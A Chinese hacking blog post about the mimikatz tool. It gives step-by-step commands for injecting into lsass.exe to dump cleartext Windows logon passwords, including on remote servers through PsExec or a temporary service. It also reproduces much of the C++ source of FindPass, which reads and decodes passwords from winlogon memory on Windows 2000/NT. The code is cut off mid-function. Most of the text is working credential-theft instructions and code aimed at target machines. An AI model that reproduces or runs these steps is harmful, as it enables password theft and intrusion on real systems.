轻量级调试器神器 - mimikatz

昨天有朋友发了个法国佬写的神器叫 mimikatz 让我们看下

神器下载地址: mimikatz_trunk.zip

还有一篇用这个神器直接从 lsass.exe 里获取windows处于active状态账号明文密码的文章

http://pentestmonkey.net/blog/mimikatz-tool-to-recover-cleartext-passwords-from-lsass

自己尝试了下用 win2008 r2 x64 来测试

最后测试成功 wdigest 就是我的明文密码

 

我还测过密码复杂度在14位以上

包含数字 大小写字母 特殊字符的密码

一样能抓出明文密码来

以前用 wce.exe 或 lslsass.exe 通常是只能从内存里顶多抓出active账号的 lm hash 和 ntlm hash

但用了这个神器抓出明文密码后

由此我们可以反推断 在 lsass.exe 里并不是只存有 lm hash 和 ntlm hash 而已

应该还存在有你的明文密码经过某种加密算法 (注意: 是加密算法 而不是hash算法 加密算法是可逆的 hash算法是不可逆的)

这样这个加密算法是可逆的 能被解密出明文

所以进程注入 lsass.exe 时 所调用的 sekurlsa.dll 应该包含了对应的解密算法

逆向功底比较好的童鞋可以尝试去逆向分析一下

 

然后这个神器的功能肯定不仅仅如此 在我看来它更像一个轻量级调试器

可以提升进程权限 注入进程 读取进程内存等等

下面展示一个 读取扫雷游戏的内存的例子

我们还可以通过pause命令来挂起该进程 这个时候游戏的时间就静止了

 

总之这个神器相当华丽 还有更多能力有待各黑阔们挖掘 =..=~

—————————–

站长评论:

抓取 lsass.exe 中的用户明文密码:

//提升权限
privilege::debug

//注入dll
inject::process lsass.exe sekurlsa.dll

//抓取密码
@getLogonPasswords

经测试,通杀:

Windows Server 2003
Windows Server 2008
Windows Vista
Windows 7
Windows 7 SP1

貌似只有 Windows 2000 与 Windows XP 无法使用。

不过,2000/xp 可以用以前的 FindPassword ,Windows 2003 – Windows 7 微软的这个处理机制没有变。

域也可以,理论上是没问题的,登录过都在 lsass.exe 里面。

原理就是登陆的时候输入的密码,经过 lsass.exe 里的 wdigest 和 tspkg 两个模块调用后,它们对之进行加密处理,而没有进行擦除,而且该加密通过特征可以定位,并且按照微软的算法可逆。

只要登陆过,就可以抓出来,它进行枚举的,这一切都是微软的错。

简单地说,在 Windows 中,当用户登录时,lsass.exe 使用一个可逆的算法,加密过的明文密码,并且把密文保存在内存中,没有清理,然后可以抓出来,还原。

也就是说,开机以后,只要是登陆过的用户,在没重启前(因为重启内存就清零了,这里不包括使用其他方法清理内存),都可以抓出来,注销也是无用的,因为内存中的密码并没有清除,所以还是可以抓出来的。

我想微软可能会出个补丁,清理这块……

这玩意儿功能还有很多,自己看看参数,例如:ts,是调用 mimikatz.sys 隐藏登陆的终端。

这应该算是密码泄露,很严重的漏洞,估计微软会出补丁。

—————————–

在远程终端(3389、mstsc.exe)、虚拟桌面中抓取密码的方法:

通常你在远程终端中运行该程序会提示:存储空间不足,无法处理此命令。

这是因为在终端模式下,不能插入远线程,跨会话不能注入,你需要使用如下方法执行该程序:

首先提取几个文件,只抓取密码的话,只需要这几个文件:

mimikatz_trunk\tools\PsExec.exe
mimikatz_trunk\Win32\mimikatz.exe
mimikatz_trunk\Win32\sekurlsa.dll

打包后上传至目标服务器,然后解压释放,注意路径中绝对不能有中文(可以有空格)!否则加载DLL的时候会报错:找不到文件。

然后使用以下任何一种方法即可抓取密码:

//最简单实用的方法,使用 PsExec.exe 启动。
//在本机启动交互式命令提示窗口
psexec \\127.0.0.1 cmd.exe
//启动 mimikatz.exe
C:\mimikatz_trunk\Win32\mimikatz.exe
//提升权限
privilege::debug
//注入dll,要用绝对路径!并且路径中绝对不能有中文(可以有空格)!
inject::process lsass.exe "C:\mimikatz_trunk\Win32\sekurlsa.dll"
//抓取密码
@getLogonPasswords
//退出,不要用 ctrl + c,会导致 mimikatz.exe CPU 占用达到 100%,死循环。
exit

//*********************************************************

//使用 At 启动
at ***

//*********************************************************

//创建服务方法
sc create getpassword binpath= "cmd.exe /c c:\xxx\mimikatz.exe < command.txt > password.txt"
sc start getpassword
sc delete getpassword

//*********************************************************

//telnet 远程命令管道
telnet ****

—————————–

部分内容转自:http://hi.baidu.com/hackercasper/blog/item/b080dbd05eb6a5cc562c8461.html



另外发一个早期的类似程序。

针对Windows2000的。

// Find Password from winlogon in win2000 / winnt4 + < sp6
//
// PasswordReminder.cpp --> FindPass.cpp
// 1. http://www.smidgeonsoft.com/
// 2. shotgun add comment, bingle change a little to find other user in winlogon
// This code is licensed under the terms of the GPL (gnu public license). 
//
// Usage: FindPass  DomainName UserName PID-of-WinLogon
//
// you can get the three params from pulist output in target system.
//

/*
因为登陆的域名和用户名是明文存储在winlogon进程里的,而PasswordReminder是限定了查找本进程用户的密码
<167-174:    GetEnvironmentVariableW(L"USERNAME", UserName, 0x400); 
    GetEnvironmentVariableW (L"USERDOMAIN", UserDomain, 0x400); 
>,然后到winlogon进程的空间中查找UserDomain和UserName < 590:// 在WinLogon的内存空间中寻找UserName和DomainName的字符串 
if ((wcscmp ((wchar_t *) RealStartingAddressP, UserName) == 0) 
&& 
(wcscmp ((wchar_t *) ((DWORD) RealStartingAddressP + USER_DOMAIN_OFFSET_WIN2K), UserDomain) == 0)) 
> ,找到后就查后边的加密口令。 

其实只要你自己指定用户名和winlogon进程去查找就行了,只要你是管理员,任何本机用msgina.dll图形登陆的用户口令都可以找到。 

1. pulist,找到系统里登陆的域名和用户名,及winlogon进程id 
2. 然后给每个winlogon进程id查找指定的用户就行了。

example: 

C:\Documents and Settings\bingle>pulist 
Process           PID  User 
Idle              0 
System            8 
smss.exe          164  NT AUTHORITY\SYSTEM 
csrss.exe         192  NT AUTHORITY\SYSTEM 
winlogon.exe      188  NT AUTHORITY\SYSTEM 
wins.exe          1212 NT AUTHORITY\SYSTEM 
Explorer.exe      388  TEST-2KSERVER\Administrator 
internat.exe      1828 TEST-2KSERVER\Administrator 
conime.exe        1868 TEST-2KSERVER\Administrator 
msiexec.exe       1904 NT AUTHORITY\SYSTEM 
tlntsvr.exe       1048 NT AUTHORITY\SYSTEM 
taskmgr.exe       1752 TEST-2KSERVER\Administrator 
csrss.exe         2056 NT AUTHORITY\SYSTEM 
winlogon.exe      2416 NT AUTHORITY\SYSTEM 
rdpclip.exe       2448 TEST-2KSERVER\clovea 
Explorer.exe      2408 TEST-2KSERVER\clovea 
internat.exe      1480 TEST-2KSERVER\clovea 
cmd.exe           2508 TEST-2KSERVER\Administrator 
ntshell.exe       368  TEST-2KSERVER\Administrator 
ntshell.exe       1548 TEST-2KSERVER\Administrator 
ntshell.exe       1504 TEST-2KSERVER\Administrator 
csrss.exe         1088 NT AUTHORITY\SYSTEM 
winlogon.exe      1876 NT AUTHORITY\SYSTEM 
rdpclip.exe       1680 TEST-2KSERVER\bingle 
Explorer.exe      2244 TEST-2KSERVER\bingle 
conime.exe        2288 TEST-2KSERVER\bingle 
internat.exe      1592 TEST-2KSERVER\bingle 
cmd.exe           1692 TEST-2KSERVER\bingle 
mdm.exe           2476 TEST-2KSERVER\bingle 
taskmgr.exe       752  TEST-2KSERVER\bingle 
pulist.exe        2532 TEST-2KSERVER\bingle 

C:\Documents and Settings\bingle>D:\FindPass.exe TEST-2KSERVER 
administrator 188 

         To Find Password in the Winlogon process 
Usage: D:\FindPass.exe DomainName UserName PID-of-WinLogon 

The debug privilege has been added to PasswordReminder. 
The WinLogon process id is 188 (0x000000bc). 
To find TEST-2KSERVER\administrator password in process 188 ... 
The encoded password is found at 0x008e0800 and has a length of 10. 
The logon information is: TEST-2KSERVER/administrator/testserver. 
The hash byte is: 0x13. 

C:\Documents and Settings\bingle>D:\FindPass.exe TEST-2KSERVER 
clovea 1876 

         To Find Password in the Winlogon process 
Usage: D:\FindPass.exe DomainName UserName PID-of-WinLogon 

The debug privilege has been added to PasswordReminder. 
The WinLogon process id is 1876 (0x00000754). 
To find TEST-2KSERVER\clovea password in process 1876 ... 
PasswordReminder is unable to find the password in memory. 

C:\Documents and Settings\bingle>D:\FindPass.exe TEST-2KSERVER 
bingle 1876 

         To Find Password in the Winlogon process 
Usage: D:\FindPass.exe DomainName UserName PID-of-WinLogon 

The debug privilege has been added to PasswordReminder. 
The WinLogon process id is 1876 (0x00000754). 
To find TEST-2KSERVER\bingle password in process 1876 ... 
The logon information is: TEST-2KSERVER/bingle. 
There is no password. 

C:\Documents and Settings\bingle>D:\FindPass.exe TEST-2KSERVER 
clovea 2416 

         To Find Password in the Winlogon process 
Usage: D:\FindPass.exe DomainName UserName PID-of-WinLogon 

The debug privilege has been added to PasswordReminder. 
The WinLogon process id is 2416 (0x00000970). 
To find TEST-2KSERVER\clovea password in process 2416 ... 
The logon information is: TEST-2KSERVER/clovea. 
There is no password. 

C:\Documents and Settings\bingle> 

*/

#include <stdafx.h>
#include <windows.h> 
#include <tchar.h> 
#include <stdio.h> 
#include <stdlib.h> 

typedef struct _UNICODE_STRING 
{ 
    USHORT Length; 
    USHORT MaximumLength; 
    PWSTR Buffer; 
} UNICODE_STRING, *PUNICODE_STRING; 

// Undocumented typedef's 
typedef struct _QUERY_SYSTEM_INFORMATION 
{ 
    DWORD GrantedAccess; 
    DWORD PID; 
    WORD HandleType; 
    WORD HandleId; 
    DWORD Handle; 
} QUERY_SYSTEM_INFORMATION, *PQUERY_SYSTEM_INFORMATION; 
typedef struct _PROCESS_INFO_HEADER 
{ 
    DWORD Count; 
    DWORD Unk04; 
    DWORD Unk08; 
} PROCESS_INFO_HEADER, *PPROCESS_INFO_HEADER; 
typedef struct _PROCESS_INFO 
{ 
    DWORD LoadAddress; 
    DWORD Size; 
    DWORD Unk08; 
    DWORD Enumerator; 
    DWORD Unk10; 
    char Name [0x108]; 
} PROCESS_INFO, *PPROCESS_INFO; 
typedef struct _ENCODED_PASSWORD_INFO 
{ 
    DWORD HashByte; 
    DWORD Unk04; 
    DWORD Unk08; 
    DWORD Unk0C; 
    FILETIME LoggedOn; 
    DWORD Unk18; 
    DWORD Unk1C; 
    DWORD Unk20; 
    DWORD Unk24; 
    DWORD Unk28; 
    UNICODE_STRING EncodedPassword; 
} ENCODED_PASSWORD_INFO, *PENCODED_PASSWORD_INFO; 

typedef DWORD (__stdcall *PFNNTQUERYSYSTEMINFORMATION)  (DWORD, PVOID, DWORD, PDWORD); 
typedef PVOID (__stdcall *PFNRTLCREATEQUERYDEBUGBUFFER) (DWORD, DWORD); 
typedef DWORD (__stdcall *PFNRTLQUERYPROCESSDEBUGINFORMATION) (DWORD, DWORD, PVOID); 
typedef void (__stdcall *PFNRTLDESTROYQUERYDEBUGBUFFER) (PVOID); 
typedef void (__stdcall *PFNTRTLRUNDECODEUNICODESTRING)  (BYTE, PUNICODE_STRING); 

// Private Prototypes 
BOOL IsWinNT (void); 
BOOL IsWin2K (void); 
BOOL AddDebugPrivilege (void); 
DWORD FindWinLogon (void); 
BOOL LocatePasswordPageWinNT (DWORD, PDWORD); 
BOOL LocatePasswordPageWin2K (DWORD, PDWORD); 
void DisplayPasswordWinNT (void); 
void DisplayPasswordWin2K (void); 

// Global Variables 
PFNNTQUERYSYSTEMINFORMATION pfnNtQuerySystemInformation; 
PFNRTLCREATEQUERYDEBUGBUFFER pfnRtlCreateQueryDebugBuffer; 
PFNRTLQUERYPROCESSDEBUGINFORMATION pfnRtlQueryProcessDebugInformation; 
PFNRTLDESTROYQUERYDEBUGBUFFER pfnRtlDestroyQueryDebugBuffer; 
PFNTRTLRUNDECODEUNICODESTRING pfnRtlRunDecodeUnicodeString; 

DWORD PasswordLength = 0; 
PVOID RealPasswordP = NULL; 
PVOID PasswordP = NULL; 
DWORD HashByte = 0;
wchar_t UserName [0x400]; 
wchar_t UserDomain [0x400]; 

int __cdecl main( int argc, char* argv[] ) 
{ 
    printf( "\n\t To Find Password in the Winlogon process\n" );
	printf( " Usage: %s DomainName UserName PID-of-WinLogon\n\n", argv[0] ); 

    if ((!IsWinNT ()) 
            && 
        (!IsWin2K ())) 
    { 
        printf ("Windows NT or Windows 2000 are required.\n"); 
        return (0); 
    } 

    // Add debug privilege to PasswordReminder - 
    // this is needed for the search for Winlogon. 
    // 增加PasswordReminder的权限 
    // 使得PasswordReminder可以打开并调试Winlogon进程 
    if (!AddDebugPrivilege ()) 
    { 
        printf 
            ("Unable to add debug privilege.\n"); 
        return (0); 
    } 
    printf ("The debug privilege has been added to PasswordReminder.\n"); 

    // 获得几个未公开API的入口地址 
    HINSTANCE hNtDll = 
        LoadLibrary 
            ("NTDLL.DLL"); 
    pfnNtQuerySystemInformation = 
        (PFNNTQUERYSYSTEMINFORMATION) GetProcAddress 
            (hNtDll, 
            "NtQuerySystemInformation"); 
    pfnRtlCreateQueryDebugBuffer = 
        (PFNRTLCREATEQUERYDEBUGBUFFER) GetProcAddress 
            (hNtDll, 
            "RtlCreateQueryDebugBuffer"); 
    pfnRtlQueryProcessDebugInformation = 
        (PFNRTLQUERYPROCESSDEBUGINFORMATION) GetProcAddress 
            (hNtDll, 
            "RtlQueryProcessDebugInformation"); 
    pfnRtlDestroyQueryDebugBuffer = 
        (PFNRTLDESTROYQUERYDEBUGBUFFER) GetProcAddress 
            (hNtDll, 
            "RtlDestroyQueryDebugBuffer"); 
    pfnRtlRunDecodeUnicodeString = 
        (PFNTRTLRUNDECODEUNICODESTRING) GetProcAddress 
            (hNtDll, 
            "RtlRunDecodeUnicodeString"); 

    // Locate WinLogon's PID - need debug privilege and admin rights. 
    // 获得Winlogon进程的PID 
    // 这里作者使用了几个Native API,其实使用PSAPI一样可以 
    DWORD WinLogonPID = 
        argc > 3 ? atoi( argv[3] ) : FindWinLogon () ; 
    if (WinLogonPID == 0) 
    { 
        printf 
            ("PasswordReminder is unable to find WinLogon or you are using NWGINA.DLL.\n"); 
        printf 
            ("PasswordReminder is unable to find the password in memory.\n"); 
        FreeLibrary (hNtDll); 
        return (0); 
    } 

	printf("The WinLogon process id is %d (0x%8.8lx).\n", 
			WinLogonPID, WinLogonPID); 

    // Set values to check memory block against. 
    // 初始化几个和用户账号相关的变量 
	memset(UserName, 0, sizeof (UserName)); 
	memset(UserDomain, 0, sizeof (UserDomain)); 
	if( argc > 2 )
	{	
		mbstowcs( UserName, argv[2], sizeof(UserName)/sizeof(*UserName) );
		mbstowcs( UserDomain, argv[1], sizeof(UserDomain)/sizeof(*UserDomain) );
	}else
	{
		GetEnvironmentVariableW(L"USERNAME", UserName, 0x400); 
		GetEnvironmentVariableW(L"USERDOMAIN", UserDomain, 0x400); 
	}
	printf( " To find %S\\%S password in process %d ...\n", UserDomain, UserName, WinLogonPID );

    // Locate the block of memory containing 
    // the password in WinLogon's memory space. 
    // 在Winlogon进程中定位包含Password的内存块 
    BOOL FoundPasswordPage = FALSE; 
    if (IsWin2K ()) 
        FoundPasswordPage = 
            LocatePasswordPageWin2K 
                (WinLogonPID, 
                &PasswordLength); 
    else 
        FoundPasswordPage = 
            LocatePasswordPageWinNT 
                (WinLogonPID, 
                &PasswordLength); 

    if (FoundPasswordPage) 
    { 
        if (PasswordLength == 0) 
        { 
            printf 
                ("The logon information is: %S/%S.\n", 
                UserDomain, 
                UserName); 
            printf 
                ("There is no password.\n"); 
        } 
        else 
        { 
            printf 
                ("The encoded password is found at 0x%8.8lx and has a length of %d.\n", 
                RealPasswordP, 
                PasswordLength); 
            // Decode the password string. 
            if (IsWin2K ()) 
                DisplayPasswordWin2K (); 
            else 
                DisplayPasswordWinNT (); 
        } 
    } 
    else 
        printf 
            ("PasswordReminder is unable to find the password in memory.\n"); 

    FreeLibrary 
        (hNtDll); 
    return (0); 
} // main 

// 
// IsWinNT函数用来判断操作系统是否WINNT 
// 
BOOL 
    IsWinNT 
        (void) 
{ 
    OSVERSIONINFO OSVersionInfo; 
    OSVersionInfo.dwOSVersionInfoSize = sizeof (OSVERSIONINFO); 
    if (GetVersionEx 
            (&OSVersionInfo)) 
        return (OSVersionInfo.dwPlatformId == VER_PLATFORM_WIN32_NT); 
    else 
        return (FALSE); 
} // IsWinNT 


// 
// IsWin2K函数用来判断操作系统是否Win2K 
// 
BOOL 
    IsWin2K 
        (void) 
{ 
    OSVERSIONINFO OSVersionInfo; 
    OSVersionInfo.dwOSVersionInfoSize = sizeof (OSVERSIONINFO); 
    if (GetVersionEx 
            (&OSVersionInfo)) 
        return ((OSVersionInfo.dwPlatformId == VER_PLATFORM_WIN32_NT) 
                    && 
                (OSVersionInfo.dwMajorVersion == 5)); 
    else 
        return (FALSE); 
} // IsWin2K 


// 
// AddDebugPrivilege函数用来申请调试Winlogon进程的特权 
// 
BOOL 
    AddDebugPrivilege 
        (void) 
{ 
    HANDLE Token; 
    TOKEN_PRIVILEGES TokenPrivileges, PreviousState; 
    DWORD ReturnLength = 0; 
    if (OpenProcessToken 
            (GetCurrentProcess (), 
            TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, 
            &Token)) 
        if (LookupPrivilegeValue 
                (NULL, 
                "SeDebugPrivilege", 
                &TokenPrivileges.Privileges[0].Luid)) 
        { 
            TokenPrivileges.PrivilegeCount = 1; 
            TokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 
            return 
                (AdjustTokenPrivileges 
                    (Token, 
                    FALSE, 
                    &TokenPrivileges, 
                    sizeof (TOKEN_PRIVILEGES), 
                    &PreviousState, 
                    &ReturnLength)); 
        } 
    return (FALSE); 
} // AddDebugPrivilege 


// 
// Note that the following code eliminates the need 
// for PSAPI.DLL as part of the executable. 
// FindWinLogon函数用来寻找WinLogon进程 
// 由于作者使用的是Native API,因此不需要PSAPI的支持 
// 
DWORD 
    FindWinLogon 
        (void) 
{ 
#define INITIAL_ALLOCATION 0x100 
    DWORD rc = 0; 
    DWORD SizeNeeded = 0; 
    PVOID InfoP = 
        HeapAlloc 
            (GetProcessHeap (), 
            HEAP_ZERO_MEMORY, 
            INITIAL_ALLOCATION); 
    // Find how much memory is required. 
    pfnNtQuerySystemInformation 
        (0x10, 
        InfoP, 
        INITIAL_ALLOCATION, 
        &SizeNeeded); 
    HeapFree 
        (GetProcessHeap (), 
        0, 
        InfoP); 
    // Now, allocate the proper amount of memory. 
    InfoP = 
        HeapAlloc 
            (GetProcessHeap (), 
            HEAP_ZERO_MEMORY, 
            SizeNeeded); 
    DWORD SizeWritten = SizeNeeded; 
    if (pfnNtQuerySystemInformation 
            (0x10, 
            InfoP, 
            SizeNeeded, 
            &SizeWritten)) 
    { 
        HeapFree 
            (GetProcessHeap (), 
            0, 
            InfoP); 
        return (0); 
    } 
    DWORD NumHandles = SizeWritten / sizeof (QUERY_SYSTEM_INFORMATION); 
    if (NumHandles == 0) 
    { 
        HeapFree 
            (GetProcessHeap (), 
            0, 
            InfoP); 
        return (0); 
    } 
    PQUERY_SYSTEM_INFORMATION QuerySystemInformationP = 
        (PQUERY_SYSTEM_INFORMATION) InfoP; 
    DWORD i; 
    for (i = 1; i <= NumHandles; i++) 
    { 
        // "5" is the value of a kernel object type process. 
        if (QuerySystemInformationP->HandleType == 5) 
        { 
            PVOID DebugBufferP = 
                pfnRtlCreateQueryDebugBuffer 
                    (0, 
                    0); 
            if (pfnRtlQueryProcessDebugInformation 
                    (QuerySystemInformationP->PID, 
                    1, 
                    DebugBufferP) == 0) 
            { 
                PPROCESS_INFO_HEADER ProcessInfoHeaderP = 
                    (PPROCESS_INFO_HEADER) ((DWORD) DebugBufferP + 0x60); 
                DWORD Count = 
                    ProcessInfoHeaderP->Count; 
                PPROCESS_INFO ProcessInfoP = 
                    (PPROCESS_INFO) ((DWORD) ProcessInfoHeaderP + sizeof (PROCESS_INFO_HEADER)); 
                if (strstr (_strupr (ProcessInfoP->Name), "WINLOGON") != 0) 
                { 
                    DWORD i; 
                    DWORD dw = (DWORD) ProcessInfoP; 
                    for (i = 0; i < Count; i++) 
                    { 
                        dw += sizeof (PROCESS_INFO); 
                        ProcessInfoP = (PPROCESS_INFO) dw; 
                        if (strstr (_strupr (ProcessInfoP->Name), "NWGINA") != 0) 
                            return (0); 
                        if (strstr (_strupr (ProcessInfoP->Name), "MSGINA") == 0) 
                            rc = 
                                QuerySystemInformationP->PID; 
                    } 
                    if (DebugBufferP) 
                        pfnRtlDestroyQueryDebugBuffer 
                            (DebugBufferP); 
                    HeapFree 
                        (GetProcessHeap (), 
                        0, 
                        InfoP); 
                    return (rc); 
                } 
            } 
            if (DebugBufferP) 
                pfnRtlDestroyQueryDebugBuffer 
                    (DebugBufferP); 
        } 
        DWORD dw = (DWORD) QuerySystemInformationP; 
        dw += sizeof (QUERY_SYSTEM_INFORMATION); 
        QuerySystemInformationP = (PQUERY_SYSTEM_INFORMATION) dw; 
    } 
    HeapFree 
        (GetProcessHeap (), 
        0, 
        InfoP); 
    return (rc); 
} // FindWinLogon 

// 
// LocatePasswordPageWinNT函数用来在NT中找到用户密码 
// 
BOOL 
    LocatePasswordPageWinNT 
        (DWORD WinLogonPID, 
        PDWORD PasswordLength) 
{ 
#define USER_DOMAIN_OFFSET_WINNT    0x200 
#define USER_PASSWORD_OFFSET_WINNT    0x400 
    BOOL rc = FALSE; 
    HANDLE WinLogonHandle = 
        OpenProcess 
            (PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, 
            FALSE, 
            WinLogonPID); 
    if (WinLogonHandle == 0) 
        return (rc); 
    *PasswordLength = 0; 
    SYSTEM_INFO SystemInfo; 
    GetSystemInfo 
        (&SystemInfo); 
    DWORD PEB = 0x7ffdf000; 
    DWORD BytesCopied = 0; 
    PVOID PEBP = 
        HeapAlloc 
            (GetProcessHeap (), 
            HEAP_ZERO_MEMORY, 
            SystemInfo.dwPageSize); 
    if (!ReadProcessMemory 
            (WinLogonHandle, 
            (PVOID) PEB, 
            PEBP, 
            SystemInfo.dwPageSize, 
            &BytesCopied)) 
    { 
        CloseHandle 
            (WinLogonHandle); 
        return (rc); 
    } 
    // Grab the value of the 2nd DWORD in the TEB. 
    PDWORD WinLogonHeap = (PDWORD) ((DWORD) PEBP + (6 * sizeof (DWORD))); 
    MEMORY_BASIC_INFORMATION MemoryBasicInformation; 
    if (VirtualQueryEx 
            (WinLogonHandle, 
            (PVOID) *WinLogonHeap, 
            &MemoryBasicInformation, 
            sizeof (MEMORY_BASIC_INFORMATION))) 
        if (((MemoryBasicInformation.State & MEM_COMMIT) == MEM_COMMIT) 
                && 
            ((MemoryBasicInformation.Protect & PAGE_GUARD) == 0)) 
        { 
            PVOID WinLogonMemP = 
                HeapAlloc 
                    (GetProcessHeap (), 
                    HEAP_ZERO_MEMORY, 
                    MemoryBasicInformation.RegionSize); 
            if (ReadProcessMemory 
                    (WinLogonHandle, 
                    (PVOID) *WinLogonHeap, 
                    WinLogonMemP, 
                    MemoryBasicInformation.RegionSize, 
                    &BytesCopied)) 
            { 
                DWORD i = (DWORD) WinLogonMemP; 
                DWORD UserNamePos = 0; 
                // The order in memory is UserName followed by the UserDomain. 
                // 在内存中搜索UserName和UserDomain字符串 
                do 
                { 
                    if ((wcsicmp (UserName, (wchar_t *) i) == 0) 
                            && 
                        (wcsicmp (UserDomain, (wchar_t *) (i + USER_DOMAIN_OFFSET_WINNT)) == 0)) 
                    { 
                        UserNamePos = i; 
                        break; 
                    } 
                    i += 2; 
                } while (i < (DWORD) WinLogonMemP + MemoryBasicInformation.RegionSize); 
                if (UserNamePos) 
                { 
                    PENCODED_PASSWORD_INFO EncodedPasswordInfoP = 
                        (PENCODED_PASSWORD_INFO) 
                            ((DWORD) UserNamePos + USER_PASSWORD_OFFSET_WINNT); 
                    FILETIME LocalFileTime; 
                    SYSTEMTIME SystemTime; 
                    if (FileTimeToLocalFileTime 
                        (&EncodedPasswordInfoP->LoggedOn, 
                        &LocalFileTime)) 
                        if (FileTimeToSystemTime 
                            (&LocalFileTime, 
                            &SystemTime)) 
                            printf 
                                ("You logged on at %d/%d/%d %d:%d:%d\n", 
                                SystemTime.wMonth, 
                                SystemTime.wDay, 
                                SystemTime.wYear, 
                                SystemTime.wHour, 
                                SystemTime.wMinute, 
                                SystemTime.wSecond); 
                    *PasswordLength = 
                        (EncodedPasswordInfoP->EncodedPassword.Length & 0x00ff) / sizeof (wchar_t); 
                    // NT就是好,hash-byte直接放在编码中:) 
                    HashByte = 
                        (EncodedPasswordInfoP->EncodedPassword.Length & 0xff00) >> 8; 
                    RealPasswordP = 
                        (PVOID) (*WinLogonHeap + 
                            (UserNamePos - (DWORD) WinLogonMemP) + 
                            USER_PASSWORD_OFFSET_WINNT + 0x34); 
                    PasswordP = 
                        (PVOID) ((PBYTE) (UserNamePos +   
                            USER_PASSWORD_OFFSET_WINNT + 0x34)); 
                    rc = TRUE; 
                } 
            } 
        } 

    HeapFree 
        (GetProcessHeap (), 
        0, 
        PEBP); 
    CloseHandle 
        (WinLogonHandle); 
    return (rc); 
} // LocatePasswordPageWinNT 


// 
// LocatePasswordPageWin2K函数用来在Win2K中找到用户密码 
// 
BOOL 
    LocatePasswordPageWin2K 
        (DWORD WinLogonPID, 
        PDWORD PasswordLength) 
{ 
#define USER_DOMAIN_OFFSET_WIN2K    0x400 
#define USER_PASSWORD_OFFSET_WIN2K    0x800 
    HANDLE WinLogonHandle = 
        OpenProcess 
            (PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, 
            FALSE, 
            WinLogonPID); 
    if (WinLogonHandle == 0) 
        return (FALSE); 
    *PasswordLength = 0; 
    SYSTEM_INFO SystemInfo; 
    GetSystemInfo 
        (&SystemInfo); 
    DWORD i = (DWORD) SystemInfo.lpMinimumApplicationAddress; 
    DWORD MaxMemory = (DWORD) SystemInfo.lpMaximumApplicationAddress; 
    DWORD Increment = SystemInfo.dwPageSize; 
    MEMORY_BASIC_INFORMATION MemoryBasicInformation; 
    while (i < MaxMemory) 
    { 
        if (VirtualQueryEx 
                (WinLogonHandle, 
                (PVOID) i, 
                &MemoryBasicInformation, 
                sizeof (MEMORY_BASIC_INFORMATION))) 
        { 
            Increment = MemoryBasicInformation.RegionSize; 
            if (((MemoryBasicInformation.State & MEM_COMMIT) == MEM_COMMIT) 
                    && 
                ((MemoryBasicInformation.Protect & PAGE_GUARD) == 0)) 
            { 
                PVOID RealStartingAddressP = 
                    HeapAlloc 
                        (GetProcessHeap (), 
                        HEAP_ZERO_MEMORY, 
                        MemoryBasicInformation.RegionSize); 
                DWORD BytesCopied = 0; 
                if (ReadProcessMemory 
                        (WinLogonHandle, 
                        (PVOID) i, 
                        RealStartingAddressP, 
                        MemoryBasicInformation.RegionSize, 
                        &BytesCopied)) 
                { 
                    // 在WinLogon的内存空间中寻找UserName和DomainName的字符串 
                    if ((wcsicmp ((wchar_t *) RealStartingAddressP, UserName) == 0) 
                            && 
                        (wcsicmp ((wchar_t *) ((DWORD) RealStartingAddressP + USER_DOMAIN_OFFSET_WIN2K), UserDomain) == 0)) 
                    { 
                        RealPasswordP = (PVOID) (i + USER_PASSWORD_OFFSET_WIN2K); 
                        PasswordP = (PVOID) ((DWORD) RealStartingAddressP + USER_PASSWORD_OFFSET_WIN2K); 
                        // Calculate the length of encoded unicode string. 
                        // 计算出密文的长度 
                        PBYTE p = (PBYTE) PasswordP; 
                        DWORD Loc = (DWORD) p; 
                        DWORD Len = 0; 
                        if ((*p == 0) 
                                && 
                            (* (PBYTE) ((DWORD) p + 1) == 0)) 
                            ; 
                        else 
                            do 
                            { 
                                Len++; 
                                Loc += 2; 
                                p = (PBYTE) Loc; 
                            } while 
                                (*p != 0); 
                        *PasswordLength = Len; 
                        CloseHandle 
                            (WinLogonHandle); 
                        return (TRUE); 
                    } 
                } 
                HeapFree 
                    (GetProcessHeap (), 
                    0, 
                    RealStartingAddressP); 
            } 
        } 
        else 
            Increment = SystemInfo.dwPageSize; 
        // Move to next memory block. 
        i += Increment; 
    } 
    CloseHandle 
        (WinLogonHandle); 
    return (FALSE); 
} // LocatePasswordPageWin2K 


// 
// DisplayPasswordWinNT函数用来在NT中解码用户密码 
// 
void 
    DisplayPasswordWinNT 
        (void) 
{ 
    UNICODE_STRING EncodedString; 
    EncodedString.Length = 
        (WORD) PasswordLength * sizeof (wchar_t); 
    EncodedString.MaximumLength = 
        ((WORD) PasswordLength * sizeof (wchar_t)) + sizeof (wchar_t); 
    EncodedString.Buffer = 
        (PWSTR) HeapAlloc 
            (GetProcessHeap (), 
            HEAP_ZERO_MEMORY, 
            EncodedString.MaximumLength); 
    CopyMemory 
        (EncodedString.Buffer, 
        PasswordP, 
        PasswordLength * sizeof (wchar_t)); 
    // Finally - decode the password. 
    // Note that only one call is required since the hash-byte 
    // was part of the orginally encoded string. 
    // 在NT中,hash-byte是包含在编码中的 
    // 因此只需要直接调用函数解码就可以了 
    pfnRtlRunDecodeUnicodeString 
        ((BYTE) HashByte, 
        &EncodedString); 
    printf 
        ("The logon information is: %S/%S/%S.\n", 
        UserDomain, 
        UserName, 
        EncodedString.Buffer); 
    printf 
        ("The hash byte is: 0x%2.2x.\n", 
        HashByte); 
    HeapFree 
        (GetProcessHeap (), 
        0, 
        EncodedString.Buffer); 
} // DisplayPasswordWinNT 

// 
// DisplayPasswordWin2K函数用来在Win2K中解码用户密码 
// 
void 
    DisplayPasswordWin2K 
        (void) 
{ 
    DWORD i, Hash = 0; 
    UNICODE_STRING EncodedString; 
    EncodedString.Length = 
        (USHORT) PasswordLength * sizeof (wchar_t); 
    EncodedString.MaximumLength = 
        ((USHORT) PasswordLength * sizeof (wchar_t)) + sizeof (wchar_t); 
    EncodedString.Buffer = 
        (PWSTR) HeapAlloc 
            (GetProcessHeap (), 
            HEAP_ZERO_MEMORY, 
            EncodedString.MaximumLength); 
    // This is a brute force technique since the hash-byte 
    // is not stored as part of the encoded string - :>(. 
    // 因为在Win2K中hash-byte并不存放在编码中 
    // 所以在这里进行的是暴力破解 
    // 下面的循环中i就是hash-byte 
    // 我们将i从0x00到0xff分别对密文进行解密 
    // 如果有一个hash-byte使得所有密码都是可见字符,就认为是有效的 
